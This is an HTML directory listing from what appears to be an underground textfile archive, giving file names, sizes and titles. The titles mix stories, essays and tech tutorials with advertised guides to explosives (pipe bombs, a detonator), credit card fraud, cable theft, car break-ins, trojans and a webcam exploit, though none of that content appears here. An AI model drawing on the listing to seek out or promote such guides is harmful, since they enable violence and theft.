<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bushbases.txt">bushbases.txt</A> <tab to=T><TD> 7381<BR><TD> A Guide to Bush Bases, by Scrambling Vermin (August 20, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/busywats.txt">busywats.txt</A> <tab to=T><TD> 1856<BR><TD> Toll Free Busy Lines, by Pref1x (June 18, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/buyvrsdld.txt">buyvrsdld.txt</A> <tab to=T><TD> 4808<BR><TD> Ersatz Presents an essay discussing buying vs. downloading, by Ersatz (January 19, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/buzzbox.txt">buzzbox.txt</A> <tab to=T><TD> 1968<BR><TD> The Buzz Box, by Icey and Digit (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/bypassv1.5.txt">bypassv1.5.txt</A> <tab to=T><TD> 9604<BR><TD> Bypassing The New EAS Anti-Shoplifting Devices v1.5, by Optica V (July 13, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cable.txt">cable.txt</A> <tab to=T><TD> 1566<BR><TD> An Easy Guide to Ripping Off Cable Companies by Pepsie of the Thieves (May 23, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/callerid.txt">callerid.txt</A> <tab to=T><TD> 13051<BR><TD> ANI and Caller ID, by Z09 (April 11, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cam-hack.txt">cam-hack.txt</A> <tab to=T><TD> 1586<BR><TD> Kiull a Cam Version 1.x Remote Get Buffer Overflow Vulnerability in CamShot WebCam HTTP by Lucid of Phreak2000
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/camp.txt">camp.txt</A> <tab to=T><TD> 5023<BR><TD> Some Phun While Camping, by The Enphorcer (February, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cannery_row.txt">cannery_row.txt</A> <tab to=T><TD> 3081<BR><TD> REPORT: Cannery Row, by John Steinbeck, by n3t (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/carding.txt">carding.txt</A> <tab to=T><TD> 2704<BR><TD> Obtaining Credit Card Numbers by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cartb.txt">cartb.txt</A> <tab to=T><TD> 1051<BR><TD> How to Break into a Car with a Tennis Ball by The Anarchist (March 1, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cat3scheme.txt">cat3scheme.txt</A> <tab to=T><TD> 3382<BR><TD> The Standard/Cat3 Color Scheme Conversion, by Captain B
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cc1freepizza.txt">cc1freepizza.txt</A> <tab to=T><TD> 7431<BR><TD> Classic Compilation #1: Getting Free Pizza, by DiZZIE (May 12, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cc2freemovies.txt">cc2freemovies.txt</A> <tab to=T><TD> 10740<BR><TD> Classic Compilation #2: Getting Free Movies (At the Theatre) by Dizzie (May 12, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cdwritin.txt">cdwritin.txt</A> <tab to=T><TD> 8854<BR><TD> How to Successfully Burn CD-Rs (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cdwritin2.txt">cdwritin2.txt</A> <tab to=T><TD> 10186<BR><TD> How to Successfully Burn CD-Rs (Release 2) by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/celltron.txt">celltron.txt</A> <tab to=T><TD> 5201<BR><TD> Free Cellular Phone Calls Without Cloning by TRON (January 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/changeraising.txt">changeraising.txt</A> <tab to=T><TD> 4462<BR><TD> Change Raising Scam by Zero (June 22, 2011)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/chasm.txt">chasm.txt</A> <tab to=T><TD> 911<BR><TD> The Chasm between The Hacker and the Public, by Enderfury (October 17, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/chating.txt">chating.txt</A> <tab to=T><TD> 9453<BR><TD> How to Impress Chicks in a Chatroom v1.0 by Burnin' of UNKNOWN Prez (November 26, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cheapfc.txt">cheapfc.txt</A> <tab to=T><TD> 748<BR><TD> How to Make a Cheap High Powered Firecracker from a Marker, by p0x (July 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cheatpoker.txt">cheatpoker.txt</A> <tab to=T><TD> 8608<BR><TD> How to Cheat at Poker, by the Amnesiac Antelope (February 2015)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/check.txt">check.txt</A> <tab to=T><TD> 113133<BR><TD> STORY: Checkmate, by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/chemlife.txt">chemlife.txt</A> <tab to=T><TD> 8874<BR><TD> Leading a Better Life Through Chemistry (a subjective view of drugs) (October 28, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/chepacid.drg">chepacid.drg</A> <tab to=T><TD> 583<BR><TD> How to Make Cheap Acid Out of Juicy Fruit, by Sk8trJoe (September, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/chimi.txt">chimi.txt</A> <tab to=T><TD> 71180<BR><TD> The Chimi Changas, a Massive Epic from Edward Ansbro (Unknown)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cleanup.txt">cleanup.txt</A> <tab to=T><TD> 4298<BR><TD> In Depth Guide to Cleaning Your Internet Tracks by: Zero, aka: g-prime (March 27, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/click.txt">click.txt</A> <tab to=T><TD> 4991<BR><TD> Make your Own Very Simple Pick Guns by The Impactor
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/clouds.txt">clouds.txt</A> <tab to=T><TD> 2074<BR><TD> Poetry: Clouds, by Burnin' of UNKNOWN Prez (October 16th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/co2pressure.txt">co2pressure.txt</A> <tab to=T><TD> 1400<BR><TD> The CO2 Pressure Bomb, by The Master (April, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/coke.txt">coke.txt</A> <tab to=T><TD> 727<BR><TD> Getting into a Coke Vending Machine (in Australia) by AdamL (January 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/comp_trojans.txt">comp_trojans.txt</A> <tab to=T><TD> 34780<BR><TD> The Complete Trojans Text (Security Related) by The Maniac (March 4, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/compsteal.txt">compsteal.txt</A> <tab to=T><TD> 1323<BR><TD> Stealing a Computer The Easy Way by Pepsi and Gringo Madrileno (July, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/comptroj.txt">comptroj.txt</A> <tab to=T><TD> 34712<BR><TD> The Complete Trojans Text, by The Maniac (April 3, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/conthephone.txt">conthephone.txt</A> <tab to=T><TD> 713<BR><TD> Con the Phone Company by The Root User (April 21, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/conversion.txt">conversion.txt</A> <tab to=T><TD> 4412<BR><TD> How to Make a Conversion Box, by Captain B (May 30, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/convmovie.txt">convmovie.txt</A> <tab to=T><TD> 1048<BR><TD> Converting Movie Files to Image Files by Acid Pool (February 8, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/coup.txt">coup.txt</A> <tab to=T><TD> 5268<BR><TD> STORY: Coup, by Jonathan Locke (October, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cracker.txt">cracker.txt</A> <tab to=T><TD> 5792<BR><TD> A Guide to How to Become a Cracker and How to Survive in the Underground World, by The Maniac (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/crazy.txt">crazy.txt</A> <tab to=T><TD> 4662<BR><TD> How to Make Someone Crazy (An Anarchy Guide) by The Maniac
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/creditobtain.txt">creditobtain.txt</A> <tab to=T><TD> 2686<BR><TD> Obtaining Credit Card Numbers by DIzzIE (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/csociety.txt">csociety.txt</A> <tab to=T><TD> 1877<BR><TD> What's good about a Cashless Society, by Benny Gooslin (January, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ctvfoil.txt">ctvfoil.txt</A> <tab to=T><TD> 1166<BR><TD> How to Get Cable TV with Foil! from TiME
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cult.txt">cult.txt</A> <tab to=T><TD> 9107<BR><TD> What's a Cult? By Burnin' of UNKNOWN Prez (November 25th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cyphercat1.txt">cyphercat1.txt</A> <tab to=T><TD> 3473<BR><TD> Cyphercat Bulletin Board Systems Outreach Volume 1 (May 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cyphercat2.txt">cyphercat2.txt</A> <tab to=T><TD> 4013<BR><TD> Cyphercat Bulletin Board Systems Outreach Volume 2 (May 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/cyphercat3.txt">cyphercat3.txt</A> <tab to=T><TD> 4221<BR><TD> Cyphercat BBS Outreach Systems #3
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/darkdom.txt">darkdom.txt</A> <tab to=T><TD> 1353<BR><TD> A Message to Textfile Writers from Mutant Man (The Dark Dominator) (June 13, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dataprotection.txt">dataprotection.txt</A> <tab to=T><TD> 3443<BR><TD> How to Hide Files in Windows by SKK66 (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dearsiia.txt">dearsiia.txt</A> <tab to=T><TD> 3013<BR><TD> Dear SIIA (Anti-Piracy Corporation) by Pyromania (March 30, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/deathsave.txt">deathsave.txt</A> <tab to=T><TD> 6989<BR><TD> An ASCII Illustrated Guide to the Art of the Deathsave, by Besideyou (October 21, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/debugbat.txt">debugbat.txt</A> <tab to=T><TD> 6601<BR><TD> Using Debug to Disassemble and Debug Batch Files, by Jakash3 (October 11, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/debugmsdosbatch.txt">debugmsdosbatch.txt</A> <tab to=T><TD> 9041<BR><TD> How to Debug MS-DOS Batch Language by cOrRuPt G3n3t!x (2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/defilter.txt">defilter.txt</A> <tab to=T><TD> 3690<BR><TD> How to Get Around Your School Filter, by JMZ (February 9, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/definiti.txt">definiti.txt</A> <tab to=T><TD> 9425<BR><TD> A Couple of Definitions of Computer Users, by Burnin' of UNKNOWN Prez (November 25th, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/despair.txt">despair.txt</A> <tab to=T><TD> 3714<BR><TD> How Much My Life Sucks, by Anonymous Loozer (September 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/desperated.txt">desperated.txt</A> <tab to=T><TD> 6226<BR><TD> Kill the Politicians, by FDT (February 10, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/destroy.txt">destroy.txt</A> <tab to=T><TD> 19191<BR><TD> How to Destroy Everything by 6billionghosts (June, 2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/destructo.txt">destructo.txt</A> <tab to=T><TD> 1185<BR><TD> The Destructo Disk, by Digital Misery (May 15, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/deton8.txt">deton8.txt</A> <tab to=T><TD> 7379<BR><TD> How to Build a Timed Detonator, by Reuter Canine (December 15, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dirrerent.txt">dirrerent.txt</A> <tab to=T><TD> 5039<BR><TD> About Different Types of Trojans, by The Maniac (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ditto_box.txt">ditto_box.txt</A> <tab to=T><TD> 6617<BR><TD> The Ditto Box: A Tutorial by Cracked Anarchist (July, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-bab.txt">diz-bab.txt</A> <tab to=T><TD> 13993<BR><TD> Burn all Books! Why ebooks kick the sheet out of treeware, by DIzzIE (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-films.txt">diz-films.txt</A> <tab to=T><TD> 10109<BR><TD> Counterfeit Cities: Spacial Celebriphilia and Film's Whoring of Place: How Tax Payers Subsidize Hollywood's Production Costs by DIzzIE (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-freedate.txt">diz-freedate.txt</A> <tab to=T><TD> 3052<BR><TD> How to Go on a Free Date, by DIzzIE (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-freepob.txt">diz-freepob.txt</A> <tab to=T><TD> 1393<BR><TD> Free PO Boxes, by DIzzIE (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-libraries.txt">diz-libraries.txt</A> <tab to=T><TD> 5819<BR><TD> Why I Steal from Libraries, by DIzzIE (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-mutatis.txt">diz-mutatis.txt</A> <tab to=T><TD> 3532<BR><TD> Mutatis Mutandis: Things to Consider, by DIzzIE (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-netflix.txt">diz-netflix.txt</A> <tab to=T><TD> 20447<BR><TD> How to Rip Netflix Watch Now Movies v1.3 by DIzzIE (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-npr.txt">diz-npr.txt</A> <tab to=T><TD> 2651<BR><TD> How to Rip NPR MP3s by DIzzIE (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-scanning.txt">diz-scanning.txt</A> <tab to=T><TD> 15558<BR><TD> DIzzIE's Scanning Tutorial (on using FineReader), by DIzzIE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-usp1.txt">diz-usp1.txt</A> <tab to=T><TD> 19244<BR><TD> Underground Security Paper #1: Encrypting Instant Messaging Conversations v1.0 by DIzzIE (2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-usp2.txt">diz-usp2.txt</A> <tab to=T><TD> 25421<BR><TD> Underground Security Paper #2: Encrypting Email Communiques v1.0 by DIzzIE (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/diz-usp3.txt">diz-usp3.txt</A> <tab to=T><TD> 22789<BR><TD> Underground Security Paper #3: The Dangers of Metadata, by DIzzIE (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dmansystem.txt">dmansystem.txt</A> <tab to=T><TD> 4950<BR><TD> The Digital Man, the World, and the System, by Benny Gooslin (November 19, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dos.txt">dos.txt</A> <tab to=T><TD> 7425<BR><TD> Denial of Service: An Introduction, by Darren Pierce (April 20, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dos_cmds.txt">dos_cmds.txt</A> <tab to=T><TD> 6095<BR><TD> The DOS Command List, by ParanoidXE (2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dosdeath.txt">dosdeath.txt</A> <tab to=T><TD> 4345<BR><TD> The Death of DOS: An Opinion, by Count Tigris (June 15, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/doubleop.txt">doubleop.txt</A> <tab to=T><TD> 6428<BR><TD> The Double-Op Divert, by Captain B (May 27, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dream.txt">dream.txt</A> <tab to=T><TD> 4070<BR><TD> To anybody who feels like life is just a dream, by XERCES (July 6, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/druggo.txt">druggo.txt</A> <tab to=T><TD> 7551<BR><TD> The Ultimate Drug: A Ficticious Story by Kabak of Wallpaper-Boy.com (November 26, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dumpster.txt">dumpster.txt</A> <tab to=T><TD> 1732<BR><TD> About Dumpster Diving, by Hammer and Nail (January 15, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dutch.txt">dutch.txt</A> <tab to=T><TD> 56348<BR><TD> Aleutian Light by Andy Thomas (2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dvdpackaging.txt">dvdpackaging.txt</A> <tab to=T><TD> 2343<BR><TD> DVD Packaging Annoyances, by Paranoidxe (July, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/dxm.txt">dxm.txt</A> <tab to=T><TD> 2367<BR><TD> Jesse Writes about Being on DXM, While on DXM (August 6, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/easteregg.txt">easteregg.txt</A> <tab to=T><TD> 2050<BR><TD> A Really Weird Easter Egg in IE5, from Sick66 (June 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ectpasswd.txt">ectpasswd.txt</A> <tab to=T><TD> 9541<BR><TD> /etc/passwd and Everything That Comes With It by KGB (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/eggiehack.txt">eggiehack.txt</A> <tab to=T><TD> 6392<BR><TD> Eggdrop Hacking, by The Mob Boss (December 19, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/elcamo.txt">elcamo.txt</A> <tab to=T><TD> 10327<BR><TD> EZ Camoflauge, by Ruzz (September 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/elecpipe.txt">elecpipe.txt</A> <tab to=T><TD> 2278<BR><TD> How to Build a Pipe Bomb the Electric Way, by Zero (October 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/elvisandtupac.txt">elvisandtupac.txt</A> <tab to=T><TD> 4948<BR><TD> What Really Happened with Elvis and Tupac, by Antifrance (February, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/emission.txt">emission.txt</A> <tab to=T><TD> 9039<BR><TD> Emission Laws: Are They Necessary?
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/encryptf.txt">encryptf.txt</A> <tab to=T><TD> 1392<BR><TD> Doing Encryption of DOS Folders, by 007 (February 20, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/encryption.txt">encryption.txt</A> <tab to=T><TD> 9119<BR><TD> The Encryption and PGP Tutorial, by The Maniac (November 16, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/endmarchissue2.txt">endmarchissue2.txt</A> <tab to=T><TD> 15721<BR><TD> Basement Productions Presents the End March Issue Chapter 2 by Evergreen (March, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/enough90s.txt">enough90s.txt</A> <tab to=T><TD> 7298<BR><TD> Now that the 90s are Over, by Secret Squirrel (August 20, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/entropy.txt">entropy.txt</A> <tab to=T><TD> 6560<BR><TD> Entropy is a Harsh Reality: Some Thoughts by Hathor (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/epaste.txt">epaste.txt</A> <tab to=T><TD> 2488<BR><TD> Creating Exploding Paste
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/epiphany.txt">epiphany.txt</A> <tab to=T><TD> 2986<BR><TD> An Epiphany: We Must Regain Our Freedon, by Epiphany of Port7alliance.com (February 10, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/escalators.txt">escalators.txt</A> <tab to=T><TD> 748<BR><TD> Stopping Mall Escalators, by Hex (April, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/escapedentist.txt">escapedentist.txt</A> <tab to=T><TD> 1168<BR><TD> How to Escape The Dentist by Lovelie18 (February, 2014)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/escapeschool.txt">escapeschool.txt</A> <tab to=T><TD> 1782<BR><TD> How to Escape School by Lovelie18 (February, 2014)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ethics.txt">ethics.txt</A> <tab to=T><TD> 6171<BR><TD> The Ethics of a True Hacker, by The Mob Boss (December 5, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/eunitviral.txt">eunitviral.txt</A> <tab to=T><TD> 14959<BR><TD> A Nymph Virual Tutorial by E-Unit (December, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/evade.txt">evade.txt</A> <tab to=T><TD> 2333<BR><TD> Evading the RIAA by Using a Proxy, by MassExodus (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/evilsig.txt">evilsig.txt</A> <tab to=T><TD> 27067<BR><TD> The Evil Industry: Changing Health, Money and Time for Evil Cigarettes, by AD (2007)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/execution.box">execution.box</A> <tab to=T><TD> 7378<BR><TD> The Executioner Box, by Captain B (February 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/expletives.txt">expletives.txt</A> <tab to=T><TD> 1764<BR><TD> Some Thoughts on Expletives (March, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/explore1.txt">explore1.txt</A> <tab to=T><TD> 7621<BR><TD> The Drains and Catacombs FAQ, by The Dark Dominator (February, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/explosivebg.txt">explosivebg.txt</A> <tab to=T><TD> 827<BR><TD> AN Exploding Blowgun Projectile by Marlboro Man (October 15, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/false_reality.txt">false_reality.txt</A> <tab to=T><TD> 1477<BR><TD> False Reality, by Benny Gooslin (September, 2012)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/faq-matrix.txt">faq-matrix.txt</A> <tab to=T><TD> 18656<BR><TD> FAQ: The Matrix Trilogy, by Paranoidxe (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/faq-minority.txt">faq-minority.txt</A> <tab to=T><TD> 2799<BR><TD> FAQ: Minority Report, by paranoidxe (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/faq-ring.txt">faq-ring.txt</A> <tab to=T><TD> 8086<BR><TD> FAQ: The Ring Movie, by paranoidxe (2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/fasmtut.txt">fasmtut.txt</A> <tab to=T><TD> 10644<BR><TD> FASM Tutorial, by Jak Ash (July 22, 2010
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/fassembly.txt">fassembly.txt</A> <tab to=T><TD> 5745<BR><TD> File Operations in Assembly Language, y Jackash3 (February 20, 2010)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/fcbksuks.txt">fcbksuks.txt</A> <tab to=T><TD> 1771<BR><TD> The Facebook Rant, by Gluk Froy (January 16, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/fhile.txt">fhile.txt</A> <tab to=T><TD> 3198<BR><TD> If You're a Wannabe Spy, This Might Help, by Cody J (November 30, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/flamediff.txt">flamediff.txt</A> <tab to=T><TD> 428<BR><TD> How to Make a Flamethrower a Different Way, by DOMiNiON (January, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/flamethrow.txt">flamethrow.txt</A> <tab to=T><TD> 1502<BR><TD> How to Make a Flamethrower, by Who Cares Who Wrote It (June, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/floppydeathdisk.txt">floppydeathdisk.txt</A> <tab to=T><TD> 3498<BR><TD> The Floppy Death Disk by Cypher (December 7, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/formats.txt">formats.txt</A> <tab to=T><TD> 5353<BR><TD> Underground Filetypes for n00bz by Sheer Black Family (August 16, 2004)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/forsaken.txt">forsaken.txt</A> <tab to=T><TD> 3199<BR><TD> Forsaken: #1 in a D.O.A. Series by Forsaken (November 22, 2009)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/free_food.txt">free_food.txt</A> <tab to=T><TD> 5840<BR><TD> Free Food by Dizzie (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/free_magz.txt">free_magz.txt</A> <tab to=T><TD> 2840<BR><TD> Free Magazines!!!! By Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/free_music.txt">free_music.txt</A> <tab to=T><TD> 8501<BR><TD> Free Music '08 by ad (May, 2008)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/free_nps.txt">free_nps.txt</A> <tab to=T><TD> 1049<BR><TD> Free Newspapers, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/free_stuff.txt">free_stuff.txt</A> <tab to=T><TD> 2719<BR><TD> How to Get Free Stuff When Moving to Another Country, by Dizzie (1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/freeav.txt">freeav.txt</A> <tab to=T><TD> 2117<BR><TD> How to Defeat the Altavista Free Internet Ad Banner by Day-Glo (July, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/freeconcert.txt">freeconcert.txt</A> <tab to=T><TD> 693<BR><TD> Getting into a Big-Name Concert for Free, by Dr. Mombo (July, 2005)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/freehair.ana">freehair.ana</A> <tab to=T><TD> 275<BR><TD> Getting a Free Haircut, by Craig (Small but Already a Classic) (July, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/freei.txt">freei.txt</A> <tab to=T><TD> 1851<BR><TD> Protectors of the Free World: Getting a FreeI Account, by Lucid of Phreak2000.com (August, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/freepass.txt">freepass.txt</A> <tab to=T><TD> 1934<BR><TD> A Free Pass, by Komokozzy (September 1, 2002)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/freestuff.txt">freestuff.txt</A> <tab to=T><TD> 10658<BR><TD> How to Get Free Stuff, by Pepsi (June 10, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/freestuff2.txt">freestuff2.txt</A> <tab to=T><TD> 1586<BR><TD> Getting Free Stuff, by Acid Pool (February 14, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/fridgefun.txt">fridgefun.txt</A> <tab to=T><TD> 4808<BR><TD> Fun Things to Do With a Refrigerator, by Dizzie (January, 2003)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/friends.txt">friends.txt</A> <tab to=T><TD> 6923<BR><TD> Some Phun with your Drunk Phriends, by The Enphorcer (February 23, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/ftphowto.txt">ftphowto.txt</A> <tab to=T><TD> 5971<BR><TD> An FTP How-To (Actually a reprinted FTP Manual Page) by p0x (July 5, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/fun_with_vb.txt">fun_with_vb.txt</A> <tab to=T><TD> 1823<BR><TD> Some Funny Shit to Do with Visual Basic, by PZiKO (December, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/funwithfriends.txt">funwithfriends.txt</A> <tab to=T><TD> 3664<BR><TD> Embarass and Have Fun WITH your Friends, by Alfismo (November 3rd, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/fwpets.txt">fwpets.txt</A> <tab to=T><TD> 1598<BR><TD> Fun With Pets! By Slugnut of F.O.S. (November 30, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/gamble.txt">gamble.txt</A> <tab to=T><TD> 9227<BR><TD> Gambling at Blackjack, by Zero (April, 2006)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/garotte.txt">garotte.txt</A> <tab to=T><TD> 910<BR><TD> Garotte Making, by Dizzie
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="uploads/getstuff.txt">getstuff.txt</A> <tab to=T><TD> 2545<BR><TD> Everything You Need to Know to Get Stuff, by Joey Midoro (July 9, 2001)
